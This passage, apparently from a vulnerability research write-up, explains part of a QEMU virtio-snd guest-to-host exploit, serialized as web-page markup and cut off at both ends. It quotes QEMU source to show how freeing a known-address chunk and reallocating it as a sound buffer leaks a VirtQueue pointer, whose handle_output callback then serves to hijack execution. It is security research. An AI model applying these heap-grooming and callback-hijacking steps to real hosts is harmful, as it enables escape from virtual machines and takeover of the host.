arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":24,"props":129322,"children":129323},{},[129324,129326,129331],{"type":28,"value":129325},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":56,"props":129327,"children":129329},{"className":129328},[],[129330],{"type":28,"value":122516},{"type":28,"value":3472},{"type":23,"tag":494,"props":129333,"children":129335},{"code":129334,"language":2124,"meta":7,"className":15493,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[129336],{"type":23,"tag":56,"props":129337,"children":129338},{"__ignoreMap":7},[129339,129382,129389,129420,129435,129450,129462,129475,129482,129489,129496,129507,129522,129529,129557,129576,129587,129594,129602,129639,129660,129672,129685,129698,129724,129736,129743,129781,129788,129795,129802,129833,129888,129900,129941,129964,129993,130020,130047,130079],{"type":23,"tag":504,"props":129340,"children":129341},{"class":506,"line":507},[129342,129346,129350,129354,129358,129362,129366,129370,129374,129378],{"type":23,"tag":504,"props":129343,"children":129344},{"style":511},[129345],{"type":28,"value":50023},{"type":23,"tag":504,"props":129347,"children":129348},{"style":511},[129349],{"type":28,"value":50028},{"type":23,"tag":504,"props":129351,"children":129352},{"style":517},[129353],{"type":28,"value":122595},{"type":23,"tag":504,"props":129355,"children":129356},{"style":523},[129357],{"type":28,"value":122600},{"type":23,"tag":504,"props":129359,"children":129360},{"style":598},[129361],{"type":28,"value":3552},{"type":23,"tag":504,"props":129363,"children":129364},{"style":529},[129365],{"type":28,"value":122609},{"type":23,"tag":504,"props":129367,"children":129368},{"style":523},[129369],{"type":28,"value":122614},{"type":23,"tag":504,"props":129371,"children":129372},{"style":598},[129373],{"type":28,"value":3552},{"type":23,"tag":504,"props":129375,"children":129376},{"style":529},[129377],{"type":28,"value":122623},{"type":23,"tag":504,"props":129379,"children":129380},{"style":523},[129381],{"type":28,"value":1192},{"type":23,"tag":504,"props":129383,"children":129384},{"class":506,"line":540},[129385],{"type":23,"tag":504,"props":129386,"children":129387},{"style":523},[129388],{"type":28,"value":9862},{"type":23,"tag":504,"props":129390,"children":129391},{"class":506,"line":555},[129392,129397,129401,129406,129410,129415],{"type":23,"tag":504,"props":129393,"children":129394},{"style":523},[129395],{"type":28,"value":129396},"    VirtIOSound ",{"type":23,"tag":504,"props":129398,"children":129399},{"style":598},[129400],{"type":28,"value":3552},{"type":23,"tag":504,"props":129402,"children":129403},{"style":523},[129404],{"type":28,"value":129405},"vsnd ",{"type":23,"tag":504,"props":129407,"children":129408},{"style":598},[129409],{"type":28,"value":601},{"type":23,"tag":504,"props":129411,"children":129412},{"style":517},[129413],{"type":28,"value":129414}," VIRTIO_SND",{"type":23,"tag":504,"props":129416,"children":129417},{"style":523},[129418],{"type":28,"value":129419},"(vdev);\n",{"type":23,"tag":504,"props":129421,"children":129422},{"class":506,"line":633},[129423,129427,129431],{"type":23,"tag":504,"props":129424,"children":129425},{"style":523},[129426],{"type":28,"value":123613},{"type":23,"tag":504,"props":129428,"children":129429},{"style":598},[129430],{"type":28,"value":3552},{"type":23,"tag":504,"props":129432,"children":129433},{"style":523},[129434],{"type":28,"value":123622},{"type":23,"tag":504,"props":129436,"children":129437},{"class":506,"line":687},[129438,129442,129446],{"type":23,"tag":504,"props":129439,"children":129440},{"style":523},[129441],{"type":28,"value":122642},{"type":23,"tag":504,"props":129443,"children":129444},{"style":598},[129445],{"type":28,"value":3552},{"type":23,"tag":504,"props":129447,"children":129448},{"style":523},[129449],{"type":28,"value":122651},{"type":23,"tag":504,"props":129451,"children":129452},{"class":506,"line":736},[129453,129457],{"type":23,"tag":504,"props":129454,"children":129455},{"style":511},[129456],{"type":28,"value":15543},{"type":23,"tag":504,"props":129458,"children":129459},{"style":523},[129460],{"type":28,"value":129461}," msg_sz, size;\n",{"type":23,"tag":504,"props":129463,"children":129464},{"class":506,"line":785},[129465,129470],{"type":23,"tag":504,"props":129466,"children":129467},{"style":511},[129468],{"type":28,"value":129469},"    uint32_t",{"type":23,"tag":504,"props":129471,"children":129472},{"style":523},[129473],{"type":28,"value":129474}," stream_id;\n",{"type":23,"tag":504,"props":129476,"children":129477},{"class":506,"line":813},[129478],{"type":23,"tag":504,"props":129479,"children":129480},{"emptyLinePlaceholder":16},[129481],{"type":28,"value":1038},{"type":23,"tag":504,"props":129483,"children":129484},{"class":506,"line":851},[129485],{"type":23,"tag":504,"props":129486,"children":129487},{"style":523},[129488],{"type":28,"value":103552},{"type":23,"tag":504,"props":129490,"children":129491},{"class":506,"line":869},[129492],{"type":23,"tag":504,"props":129493,"children":129494},{"emptyLinePlaceholder":16},[129495],{"type":28,"value":1038},{"type":23,"tag":504,"props":129497,"children":129498},{"class":506,"line":878},[129499,129503],{"type":23,"tag":504,"props":129500,"children":129501},{"style":544},[129502],{"type":28,"value":2008},{"type":23,"tag":504,"props":129504,"children":129505},{"style":523},[129506],{"type":28,"value":122677},{"type":23,"tag":504,"props":129508,"children":129509},{"class":506,"line":1221},[129510,129514,129518],{"type":23,"tag":504,"props":129511,"children":129512},{"style":523},[129513],{"type":28,"value":122685},{"type":23,"tag":504,"props":129515,"children":129516},{"style":598},[129517],{"type":28,"value":3552},{"type":23,"tag":504,"props":129519,"children":129520},{"style":523},[129521],{"type":28,"value":122694},{"type":23,"tag":504,"props":129523,"children":129524},{"class":506,"line":1276},[129525],{"type":23,"tag":504,"props":129526,"children":129527},{"emptyLinePlaceholder":16},[129528],{"type":28,"value":1038},{"type":23,"tag":504,"props":129530,"children":129531},{"class":506,"line":1285},[129532,129536,129540,129544,129548,129552],{"type":23,"tag":504,"props":129533,"children":129534},{"style":523},[129535],{"type":28,"value":122709},{"type":23,"tag":504,"props":129537,"children":129538},{"style":598},[129539],{"type":28,"value":601},{"type":23,"tag":504,"props":129541,"children":129542},{"style":517},[129543],{"type":28,"value":122718},{"type":23,"tag":504,"props":129545,"children":129546},{"style":523},[129547],{"type":28,"value":122723},{"type":23,"tag":504,"props":129549,"children":129550},{"style":511},[129551],{"type":28,"value":54306},{"type":23,"tag":504,"props":129553,"children":129554},{"style":523},[129555],{"type":28,"value":129556},"(VirtQueueElement));\n",{"type":23,"tag":504,"props":129558,"children":129559},{"class":506,"line":1294},[129560,129564,129568,129572],{"type":23,"tag":504,"props":129561,"children":129562},{"style":544},[129563],{"type":28,"value":2250},{"type":23,"tag":504,"props":129565,"children":129566},{"style":523},[129567],{"type":28,"value":801},{"type":23,"tag":504,"props":129569,"children":129570},{"style":598},[129571],{"type":28,"value":19603},{"type":23,"tag":504,"props":129573,"children":129574},{"style":523},[129575],{"type":28,"value":122757},{"type":23,"tag":504,"props":129577,"children":129578},{"class":506,"line":1302},[129579,129583],{"type":23,"tag":504,"props":129580,"children":129581},{"style":544},[129582],{"type":28,"value":2276},{"type":23,"tag":504,"props":129584,"children":129585},{"style":523},[129586],{"type":28,"value":866},{"type":23,"tag":504,"props":129588,"children":129589},{"class":506,"line":1311},[129590],{"type":23,"tag":504,"props":129591,"children":129592},{"style":523},[129593],{"type":28,"value":1291},{"type":23,"tag":504,"props":129595,"children":129596},{"class":506,"line":1334},[129597],{"type":23,"tag":504,"props":129598,"children":129599},{"style":1106},[129600],{"type":28,"value":129601},"        /* get the message hdr object */\n",{"type":23,"tag":504,"props":129603,"children":129604},{"class":506,"line":1370},[129605,129610,129614,129619,129623,129627,129631,129635],{"type":23,"tag":504,"props":129606,"children":129607},{"style":523},[129608],{"type":28,"value":129609},"        msg_sz ",{"type":23,"tag":504,"props":129611,"children":129612},{"style":598},[129613],{"type":28,"value":601},{"type":23,"tag":504,"props":129615,"children":129616},{"style":517},[129617],{"type":28,"value":129618}," iov_to_buf",{"type":23,"tag":504,"props":129620,"children":129621},{"style":523},[129622],{"type":28,"value":526},{"type":23,"tag":504,"props":129624,"children":129625},{"style":529},[129626],{"type":28,"value":51042},{"type":23,"tag":504,"props":129628,"children":129629},{"style":523},[129630],{"type":28,"value":12738},{"type":23,"tag":504,"props":129632,"children":129633},{"style":529},[129634],{"type":28,"value":123161},{"type":23,"tag":504,"props":129636,"children":129637},{"style":523},[129638],{"type":28,"value":2484},{"type":23,"tag":504,"props":129640,"children":129641},{"class":506,"line":1384},[129642,129647,129651,129656],{"type":23,"tag":504,"props":129643,"children":129644},{"style":529},[129645],{"type":28,"value":129646},"                            elem",{"type":23,"tag":504,"props":129648,"children":129649},{"style":523},[129650],{"type":28,"value":12738},{"type":23,"tag":504,"props":129652,"children":129653},{"style":529},[129654],{"type":28,"value":129655},"out_num",{"type":23,"tag":504,"props":129657,"children":129658},{"style":523},[129659],{"type":28,"value":2484},{"type":23,"tag":504,"props":129661,"children":129662},{"class":506,"line":1392},[129663,129668],{"type":23,"tag":504,"props":129664,"children":129665},{"style":1440},[129666],{"type":28,"value":129667},"                            0",{"type":23,"tag":504,"props":129669,"children":129670},{"style":523},[129671],{"type":28,"value":2484},{"type":23,"tag":504,"props":129673,"children":129674},{"class":506,"line":1400},[129675,129680],{"type":23,"tag":504,"props":129676,"children":129677},{"style":598},[129678],{"type":28,"value":129679},"                            &",{"type":23,"tag":504,"props":129681,"children":129682},{"style":523},[129683],{"type":28,"value":129684},"hdr,\n",{"type":23,"tag":504,"props":129686,"children":129687},{"class":506,"line":1422},[129688,129693],{"type":23,"tag":504,"props":129689,"children":129690},{"style":511},[129691],{"type":28,"value":129692},"                            sizeof",{"type":23,"tag":504,"props":129694,"children":129695},{"style":523},[129696],{"type":28,"value":129697},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":504,"props":129699,"children":129700},{"class":506,"line":1450},[129701,129705,129710,129714,129719],{"type":23,"tag":504,"props":129702,"children":129703},{"style":544},[129704],{"type":28,"value":2250},{"type":23,"tag":504,"props":129706,"children":129707},{"style":523},[129708],{"type":28,"value":129709}," (msg_sz ",{"type":23,"tag":504,"props":129711,"children":129712},{"style":598},[129713],{"type":28,"value":14669},{"type":23,"tag":504,"props":129715,"children":129716},{"style":511},[129717],{"type":28,"value":129718}," sizeof",{"type":23,"tag":504,"props":129720,"children":129721},{"style":523},[129722],{"type":28,"value":129723},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":504,"props":129725,"children":129726},{"class":506,"line":1463},[129727,129731],{"type":23,"tag":504,"props":129728,"children":129729},{"style":544},[129730],{"type":28,"value":59528},{"type":23,"tag":504,"props":129732,"children":129733},{"style":523},[129734],{"type":28,"value":129735}," rx_err;\n",{"type":23,"tag":504,"props":129737,"children":129738},{"class":506,"line":1485},[129739],{"type":23,"tag":504,"props":129740,"children":129741},{"style":523},[129742],{"type":28,"value":1291},{"type":23,"tag":504,"props":129744,"children":129745},{"class":506,"line":1503},[129746,129751,129755,129759,129763,129768,129772,129777],{"type":23,"tag":504,"props":129747,"children":129748},{"style":523},[129749],{"type":28,"value":129750},"        stream_id ",{"type":23,"tag":504,"props":129752,"children":129753},{"style":598},[129754],{"type":28,"value":601},{"type":23,"tag":504,"props":129756,"children":129757},{"style":517},[129758],{"type":28,"value":124623},{"type":23,"tag":504,"props":129760,"children":129761},{"style":523},[129762],{"type":28,"value":526},{"type":23,"tag":504,"props":129764,"children":129765},{"style":529},[129766],{"type":28,"value":129767},"hdr",{"type":23,"tag":504,"props":129769,"children":129770},{"style":523},[129771],{"type":28,"value":320},{"type":23,"tag":504,"props":129773,"children":129774},{"style":529},[129775],{"type":28,"value":129776},"stream_id",{"type":23,"tag":504,"props":129778,"children":129779},{"style":523},[129780],{"type":28,"value":630},{"type":23,"tag":504,"props":129782,"children":129783},{"class":506,"line":1516},[129784],{"type":23,"tag":504,"props":129785,"children":129786},{"emptyLinePlaceholder":16},[129787],{"type":28,"value":1038},{"type":23,"tag":504,"props":129789,"children":129790},{"class":506,"line":1543},[129791],{"type":23,"tag":504,"props":129792,"children":129793},{"style":523},[129794],{"type":28,"value":122790},{"type":23,"tag":504,"props":129796,"children":129797},{"class":506,"line":1583},[129798],{"type":23,"tag":504,"props":129799,"children":129800},{"emptyLinePlaceholder":16},[129801],{"type":28,"value":1038},{"type":23,"tag":504,"props":129803,"children":129804},{"class":506,"line":1605},[129805,129809,129813,129817,129821,129825,129829],{"type":23,"tag":504,"props":129806,"children":129807},{"style":517},[129808],{"type":28,"value":122805},{"type":23,"tag":504,"props":129810,"children":129811},{"style":523},[129812],{"type":28,"value":526},{"type":23,"tag":504,"props":129814,"children":129815},{"style":598},[129816],{"type":28,"value":2086},{"type":23,"tag":504,"props":129818,"children":129819},{"style":529},[129820],{"type":28,"value":35238},{"type":23,"tag":504,"props":129822,"children":129823},{"style":523},[129824],{"type":28,"value":12738},{"type":23,"tag":504,"props":129826,"children":129827},{"style":529},[129828],{"type":28,"value":122826},{"type":23,"tag":504,"props":129830,"children":129831},{"style":523},[129832],{"type":28,"value":537},{"type":23,"tag":504,"props":129834,"children":129835},{"class":506,"line":1614},[129836,129840,129844,129848,129852,129856,129860,129864,129868,129872,129876,129880,129884],{"type":23,"tag":504,"props":129837,"children":129838},{"style":523},[129839],{"type":28,"value":122838},{"type":23,"tag":504,"props":129841,"children":129842},{"style":598},[129843],{"type":28,"value":601},{"type":23,"tag":504,"props":129845,"children":129846},{"style":517},[129847],{"type":28,"value":122847},{"type":23,"tag":504,"props":129849,"children":129850},{"style":523},[129851],{"type":28,"value":526},{"type":23,"tag":504,"props":129853,"children":129854},{"style":529},[129855],{"type":28,"value":51042},{"type":23,"tag":504,"props":129857,"children":129858},{"style":523},[129859],{"type":28,"value":12738},{"type":23,"tag":504,"props":129861,"children":129862},{"style":529},[129863],{"type":28,"value":122864},{"type":23,"tag":504,"props":129865,"children":129866},{"style":523},[129867],{"type":28,"value":576},{"type":23,"tag":504,"props":129869,"children":129870},{"style":529},[129871],{"type":28,"value":51042},{"type":23,"tag":504,"props":129873,"children":129874},{"style":523},[129875],{"type":28,"value":12738},{"type":23,"tag":504,"props":129877,"children":129878},{"style":529},[129879],{"type":28,"value":122881},{"type":23,"tag":504,"props":129881,"children":129882},{"style":523},[129883],{"type":28,"value":2064},{"type":23,"tag":504,"props":129885,"children":129886},{"style":598},[129887],{"type":28,"value":49840},{"type":23,"tag":504,"props":129889,"children":129890},{"class":506,"line":1627},[129891,129895],{"type":23,"tag":504,"props":129892,"children":129893},{"style":511},[129894],{"type":28,"value":122897},{"type":23,"tag":504,"props":129896,"children":129897},{"style":523},[129898],{"type":28,"value":129899},"(virtio_snd_pcm_status);\n",{"type":23,"tag":504,"props":129901,"children":129902},{"class":506,"line":1655},[129903,129907,129911,129915,129919,129923,129927,129931,129936],{"type":23,"tag":504,"props":129904,"children":129905},{"style":523},[129906],{"type":28,"value":122915},{"type":23,"tag":504,"props":129908,"children":129909},{"style":598},[129910],{"type":28,"value":601},{"type":23,"tag":504,"props":129912,"children":129913},{"style":517},[129914],{"type":28,"value":122924},{"type":23,"tag":504,"props":129916,"children":129917},{"style":523},[129918],{"type":28,"value":526},{"type":23,"tag":504,"props":129920,"children":129921},{"style":511},[129922],{"type":28,"value":54306},{"type":23,"tag":504,"props":129924,"children":129925},{"style":523},[129926],{"type":28,"value":122937},{"type":23,"tag":504,"props":129928,"children":129929},{"style":598},[129930],{"type":28,"value":1642},{"type":23,"tag":504,"props":129932,"children":129933},{"style":523},[129934],{"type":28,"value":129935}," size);",{"type":23,"tag":504,"props":129937,"children":129938},{"style":1106},[129939],{"type":28,"value":129940},"    // [1]\n",{"type":23,"tag":504,"props":129942,"children":129943},{"class":506,"line":1668},[129944,129948,129952,129956,129960],{"type":23,"tag":504,"props":129945,"children":129946},{"style":529},[129947],{"type":28,"value":122954},{"type":23,"tag":504,"props":129949,"children":129950},{"style":523},[129951],{"type":28,"value":12738},{"type":23,"tag":504,"props":129953,"children":129954},{"style":529},[129955],{"type":28,"value":51042},{"type":23,"tag":504,"props":129957,"children":129958},{"style":598},[129959],{"type":28,"value":648},{"type":23,"tag":504,"props":129961,"children":129962},{"style":523},[129963],{"type":28,"value":122971},{"type":23,"tag":504,"props":129965,"children":129966},{"class":506,"line":1682},[129967,129971,129975,129979,129983,129988],{"type":23,"tag":504,"props":129968,"children":129969},{"style":529},[129970],{"type":28,"value":122954},{"type":23,"tag":504,"props":129972,"children":129973},{"style":523},[129974],{"type":28,"value":12738},{"type":23,"tag":504,"props":129976,"children":129977},{"style":529},[129978],{"type":28,"value":122623},{"type":23,"tag":504,"props":129980,"children":129981},{"style":598},[129982],{"type":28,"value":648},{"type":23,"tag":504,"props":129984,"children":129985},{"style":523},[129986],{"type":28,"value":129987}," vq;",{"type":23,"tag":504,"props":129989,"children":129990},{"style":1106},[129991],{"type":28,"value":129992},"                                            // [2]\n",{"type":23,"tag":504,"props":129994,"children":129995},{"class":506,"line":1691},[129996,130000,130004,130008,130012,130016],{"type":23,"tag":504,"props":129997,"children":129998},{"style":529},[129999],{"type":28,"value":122954},{"type":23,"tag":504,"props":130001,"children":130002},{"style":523},[130003],{"type":28,"value":12738},{"type":23,"tag":504,"props":130005,"children":130006},{"style":529},[130007],{"type":28,"value":123011},{"type":23,"tag":504,"props":130009,"children":130010},{"style":598},[130011],{"type":28,"value":648},{"type":23,"tag":504,"props":130013,"children":130014},{"style":1440},[130015],{"type":28,"value":2023},{"type":23,"tag":504,"props":130017,"children":130018},{"style":523},[130019],{"type":28,"value":866},{"type":23,"tag":504,"props":130021,"children":130022},{"class":506,"line":1699},[130023,130027,130031,130035,130039,130043],{"type":23,"tag":504,"props":130024,"children":130025},{"style":529},[130026],{"type":28,"value":122954},{"type":23,"tag":504,"props":130028,"children":130029},{"style":523},[130030],{"type":28,"value":12738},{"type":23,"tag":504,"props":130032,"children":130033},{"style":529},[130034],{"type":28,"value":12882},{"type":23,"tag":504,"props":130036,"children":130037},{"style":598},[130038],{"type":28,"value":648},{"type":23,"tag":504,"props":130040,"children":130041},{"style":1440},[130042],{"type":28,"value":2023},{"type":23,"tag":504,"props":130044,"children":130045},{"style":523},[130046],{"type":28,"value":866},{"type":23,"tag":504,"props":130048,"children":130049},{"class":506,"line":1708},[130050,130054,130058,130062,130066,130070,130074],{"type":23,"tag":504,"props":130051,"children":130052},{"style":517},[130053],{"type":28,"value":123058},{"type":23,"tag":504,"props":130055,"children":130056},{"style":523},[130057],{"type":28,"value":526},{"type":23,"tag":504,"props":130059,"children":130060},{"style":598},[130061],{"type":28,"value":2086},{"type":23,"tag":504,"props":130063,"children":130064},{"style":529},[130065],{"type":28,"value":35238},{"type":23,"tag":504,"props":130067,"children":130068},{"style":523},[130069],{"type":28,"value":12738},{"type":23,"tag":504,"props":130071,"children":130072},{"style":529},[130073],{"type":28,"value":123079},{"type":23,"tag":504,"props":130075,"children":130076},{"style":523},[130077],{"type":28,"value":130078},", buffer, entry);\n",{"type":23,"tag":504,"props":130080,"children":130081},{"class":506,"line":1717},[130082],{"type":23,"tag":504,"props":130083,"children":130084},{"style":523},[130085],{"type":28,"value":1291},{"type":23,"tag":24,"props":130087,"children":130088},{},[130089,130090,130095,130097,130102,130104,130109,130111,130117],{"type":28,"value":123133},{"type":23,"tag":56,"props":130091,"children":130093},{"className":130092},[],[130094],{"type":28,"value":123139},{"type":28,"value":130096},", QEMU allocates a ",{"type":23,"tag":56,"props":130098,"children":130100},{"className":130099},[],[130101],{"type":28,"value":123276},{"type":28,"value":130103}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":56,"props":130105,"children":130107},{"className":130106},[],[130108],{"type":28,"value":123174},{"type":28,"value":130110}," it stores the ",{"type":23,"tag":56,"props":130112,"children":130114},{"className":130113},[],[130115],{"type":28,"value":130116},"VirtQueue *vq",{"type":28,"value":130118}," pointer into the buffer.",{"type":23,"tag":24,"props":130120,"children":130121},{},[130122,130123,130129],{"type":28,"value":63196},{"type":23,"tag":56,"props":130124,"children":130126},{"className":130125},[],[130127],{"type":28,"value":130128},"VirtQueue",{"type":28,"value":130130}," structure contains some useful fields:",{"type":23,"tag":494,"props":130132,"children":130134},{"code":130133,"language":2124,"meta":7,"className":15493,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[130135],{"type":23,"tag":56,"props":130136,"children":130137},{"__ignoreMap":7},[130138,130150,130157,130164,130171,130179,130196,130203,130210],{"type":23,"tag":504,"props":130139,"children":130140},{"class":506,"line":507},[130141,130145],{"type":23,"tag":504,"props":130142,"children":130143},{"style":511},[130144],{"type":28,"value":8383},{"type":23,"tag":504,"props":130146,"children":130147},{"style":523},[130148],{"type":28,"value":130149}," VirtQueue\n",{"type":23,"tag":504,"props":130151,"children":130152},{"class":506,"line":540},[130153],{"type":23,"tag":504,"props":130154,"children":130155},{"style":523},[130156],{"type":28,"value":9862},{"type":23,"tag":504,"props":130158,"children":130159},{"class":506,"line":555},[130160],{"type":23,"tag":504,"props":130161,"children":130162},{"style":523},[130163],{"type":28,"value":103552},{"type":23,"tag":504,"props":130165,"children":130166},{"class":506,"line":633},[130167],{"type":23,"tag":504,"props":130168,"children":130169},{"emptyLinePlaceholder":16},[130170],{"type":28,"value":1038},{"type":23,"tag":504,"props":130172,"children":130173},{"class":506,"line":687},[130174],{"type":23,"tag":504,"props":130175,"children":130176},{"style":523},[130177],{"type":28,"value":130178},"    VirtIOHandleOutput handle_output;\n",{"type":23,"tag":504,"props":130180,"children":130181},{"class":506,"line":736},[130182,130187,130191],{"type":23,"tag":504,"props":130183,"children":130184},{"style":523},[130185],{"type":28,"value":130186},"    VirtIODevice ",{"type":23,"tag":504,"props":130188,"children":130189},{"style":598},[130190],{"type":28,"value":3552},{"type":23,"tag":504,"props":130192,"children":130193},{"style":523},[130194],{"type":28,"value":130195},"vdev;\n",{"type":23,"tag":504,"props":130197,"children":130198},{"class":506,"line":785},[130199],{"type":23,"tag":504,"props":130200,"children":130201},{"emptyLinePlaceholder":16},[130202],{"type":28,"value":1038},{"type":23,"tag":504,"props":130204,"children":130205},{"class":506,"line":813},[130206],{"type":23,"tag":504,"props":130207,"children":130208},{"style":523},[130209],{"type":28,"value":103552},{"type":23,"tag":504,"props":130211,"children":130212},{"class":506,"line":851},[130213],{"type":23,"tag":504,"props":130214,"children":130215},{"style":523},[130216],{"type":28,"value":15556},{"type":23,"tag":24,"props":130218,"children":130219},{},[130220,130221,130227,130229,130235],{"type":28,"value":15592},{"type":23,"tag":56,"props":130222,"children":130224},{"className":130223},[],[130225],{"type":28,"value":130226},".handle_output",{"type":28,"value":130228}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":56,"props":130230,"children":130232},{"className":130231},[],[130233],{"type":28,"value":130234},".vdev",{"type":28,"value":130236}," is the pointer passed to it as the first argument:",{"type":23,"tag":494,"props":130238,"children":130240},{"code":130239,"language":2124,"meta":7,"className":15493,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[130241],{"type":23,"tag":56,"props":130242,"children":130243},{"__ignoreMap":7},[130244,130277,130284,130339,130376,130383,130390,130397,130418,130425,130432,130439],{"type":23,"tag":504,"props":130245,"children":130246},{"class":506,"line":507},[130247,130251,130255,130260,130265,130269,130273],{"type":23,"tag":504,"props":130248,"children":130249},{"style":511},[130250],{"type":28,"value":50023},{"type":23,"tag":504,"props":130252,"children":130253},{"style":511},[130254],{"type":28,"value":50028},{"type":23,"tag":504,"props":130256,"children":130257},{"style":517},[130258],{"type":28,"value":130259}," virtio_queue_notify_vq",{"type":23,"tag":504,"props":130261,"children":130262},{"style":523},[130263],{"type":28,"value":130264},"(VirtQueue ",{"type":23,"tag":504,"props":130266,"children":130267},{"style":598},[130268],{"type":28,"value":3552},{"type":23,"tag":504,"props":130270,"children":130271},{"style":529},[130272],{"type":28,"value":122623},{"type":23,"tag":504,"props":130274,"children":130275},{"style":523},[130276],{"type":28,"value":1192},{"type":23,"tag":504,"props":130278,"children":130279},{"class":506,"line":540},[130280],{"type":23,"tag":504,"props":130281,"children":130282},{"style":523},[130283],{"type":28,"value":9862},{"type":23,"tag":504,"props":130285,"children":130286},{"class":506,"line":555},[130287,130291,130295,130299,130303,130308,130312,130317,130321,130326,130330,130335],{"type":23,"tag":504,"props":130288,"children":130289},{"style":544},[130290],{"type":28,"value":11261},{"type":23,"tag":504,"props":130292,"children":130293},{"style":523},[130294],{"type":28,"value":801},{"type":23,"tag":504,"props":130296,"children":130297},{"style":529},[130298],{"type":28,"value":122623},{"type":23,"tag":504,"props":130300,"children":130301},{"style":523},[130302],{"type":28,"value":12738},{"type":23,"tag":504,"props":130304,"children":130305},{"style":529},[130306],{"type":28,"value":130307},"vring",{"type":23,"tag":504,"props":130309,"children":130310},{"style":523},[130311],{"type":28,"value":320},{"type":23,"tag":504,"props":130313,"children":130314},{"style":529},[130315],{"type":28,"value":130316},"desc",{"type":23,"tag":504,"props":130318,"children":130319},{"style":598},[130320],{"type":28,"value":13166},{"type":23,"tag":504,"props":130322,"children":130323},{"style":529},[130324],{"type":28,"value":130325}," vq",{"type":23,"tag":504,"props":130327,"children":130328},{"style":523},[130329],{"type":28,"value":12738},{"type":23,"tag":504,"props":130331,"children":130332},{"style":529},[130333],{"type":28,"value":130334},"handle_output",{"type":23,"tag":504,"props":130336,"children":130337},{"style":523},[130338],{"type":28,"value":537},{"type":23,"tag":504,"props":130340,"children":130341},{"class":506,"line":633},[130342,130347,130351,130356,130360,130364,130368,130372],{"type":23,"tag":504,"props":130343,"children":130344},{"style":523},[130345],{"type":28,"value":130346},"        VirtIODevice ",{"type":23,"tag":504,"props":130348,"children":130349},{"style":598},[130350],{"type":28,"value":3552},{"type":23,"tag":504,"props":130352,"children":130353},{"style":523},[130354],{"type":28,"value":130355},"vdev ",{"type":23,"tag":504,"props":130357,"children":130358},{"style":598},[130359],{"type":28,"value":601},{"type":23,"tag":504,"props":130361,"children":130362},{"style":529},[130363],{"type":28,"value":130325},{"type":23,"tag":504,"props":130365,"children":130366},{"style":523},[130367],{"type":28,"value":12738},{"type":23,"tag":504,"props":130369,"children":130370},{"style":529},[130371],{"type":28,"value":122609},{"type":23,"tag":504,"props":130373,"children":130374},{"style":523},[130375],{"type":28,"value":866},{"type":23,"tag":504,"props":130377,"children":130378},{"class":506,"line":687},[130379],{"type":23,"tag":504,"props":130380,"children":130381},{"emptyLinePlaceholder":16},[130382],{"type":28,"value":1038},{"type":23,"tag":504,"props":130384,"children":130385},{"class":506,"line":736},[130386],{"type":23,"tag":504,"props":130387,"children":130388},{"style":523},[130389],{"type":28,"value":122790},{"type":23,"tag":504,"props":130391,"children":130392},{"class":506,"line":785},[130393],{"type":23,"tag":504,"props":130394,"children":130395},{"emptyLinePlaceholder":16},[130396],{"type":28,"value":1038},{"type":23,"tag":504,"props":130398,"children":130399},{"class":506,"line":813},[130400,130405,130409,130413],{"type":23,"tag":504,"props":130401,"children":130402},{"style":529},[130403],{"type":28,"value":130404},"        vq",{"type":23,"tag":504,"props":130406,"children":130407},{"style":523},[130408],{"type":28,"value":12738},{"type":23,"tag":504,"props":130410,"children":130411},{"style":517},[130412],{"type":28,"value":130334},{"type":23,"tag":504,"props":130414,"children":130415},{"style":523},[130416],{"type":28,"value":130417},"(vdev, vq);\n",{"type":23,"tag":504,"props":130419,"children":130420},{"class":506,"line":851},[130421],{"type":23,"tag":504,"props":130422,"children":130423},{"emptyLinePlaceholder":16},[130424],{"type":28,"value":1038},{"type":23,"tag":504,"props":130426,"children":130427},{"class":506,"line":869},[130428],{"type":23,"tag":504,"props":130429,"children":130430},{"style":523},[130431],{"type":28,"value":122790},{"type":23,"tag":504,"props":130433,"children":130434},{"class":506,"line":878},[130435],{"type":23,"tag":504,"props":130436,"children":130437},{"style":523},[130438],{"type":28,"value":875},{"type":23,"tag":504,"props":130440,"children":130441},{"class":506,"line":1221},[130442],{"type":23,"tag":504,"props":130443,"children":130444},{"style":523},[130445],{"type":28,"value":884},{"type":23,"tag":24,"props":130447,"children":130448},{},[130449,130451,130456,130458,130463,130465,130471,130473,130478,130479,130484,130486,130491],{"type":28,"value":130450},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":56,"props":130452,"children":130454},{"className":130453},[],[130455],{"type":28,"value":123276},{"type":28,"value":130457}," - which is straightforward, since we control the buffer allocation size through the 